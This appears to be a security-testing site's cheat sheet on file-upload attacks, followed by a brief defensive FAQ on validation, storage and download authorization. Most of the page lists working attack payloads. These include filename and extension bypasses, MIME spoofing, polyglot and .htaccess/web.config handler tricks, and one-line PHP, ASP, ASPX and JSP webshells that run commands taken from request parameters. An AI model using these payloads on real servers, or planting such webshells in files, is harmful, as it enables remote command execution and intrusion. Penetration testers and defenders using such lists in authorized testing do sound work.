Skip to content
Payload Playground

File Upload Cheat Sheet

When reviewing an upload, check how the server validates the contents, where it stores the file and who can retrieve it. A filename or file signature alone cannot establish that the file is safe. (26 entries)

Build custom File Upload payloads in the File Upload generator

Extension Bypass

(12)
shell.php.jpg
Double extension
shell.php%00.jpg
Null byte bypass (old servers)
shell.pHp
Case variation
shell.php5
Alternative PHP extension
shell.phtml
PHTML extension
shell.php.bak
Backup extension trick
shell.php::$DATA
NTFS alternate data streamWindows
shell.php%0a
Newline character in filename
shell.php.
Trailing dotWindows
shell.php
Trailing spaceWindows
shell.shtml
SSI extension
shell.php;.jpg
Semicolon separator (Apache misconfig)

MIME Type Spoofing

(4)
Content-Type: image/jpeg (with PHP content)
Spoofed MIME type in multipart
Content-Type: image/png (with PHP content)
Spoofed PNG MIME type
Content-Type: image/gif (with GIF89a; header + PHP)
GIF magic bytes + PHP payload
GIF89a;<?php system($_GET["cmd"]); ?>
GIF magic bytes prepended to webshell

Webshell Payloads

(6)
<?php system($_GET["cmd"]); ?>
Simple PHP webshellPHP
<?php echo shell_exec($_GET["cmd"]); ?>
PHP shell_exec webshellPHP
<?=`$_GET[0]`?>
Shortest PHP webshellPHP
<% eval request("cmd") %>
ASP webshellASP
<%@ Page Language="C#"%><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]);%>
ASPX webshellASPX
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
JSP webshellJSP

Content Validation Bypass

(4)
Embed PHP in EXIF data of real JPEG
Metadata injection in valid image
Polyglot file: valid JPEG + PHP code in comment
Image polyglot bypass
.htaccess: AddType application/x-httpd-php .jpg
Upload .htaccess to change handlerApache
web.config with PHP handler mapping
Upload web.config to enable PHPIIS
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

Does a matching file signature prove an upload is safe?+

A signature identifies a possible format from a few bytes. A damaged image can still have a valid signature. For an image upload, allow only the formats you need and have a maintained decoder read the full image within size and pixel limits. Successful decoding still leaves storage and access controls to check.

Where should the application store uploaded files?+

Use a separate storage service or a directory outside the web root. Give each upload an application-generated storage name and configure storage so uploaded files cannot run as programs.

How should a private download be authorized?+

Check the signed-in user's permission for the specific file on each download. Keep the underlying storage private so a direct storage URL cannot skip that check.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/file-upload) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.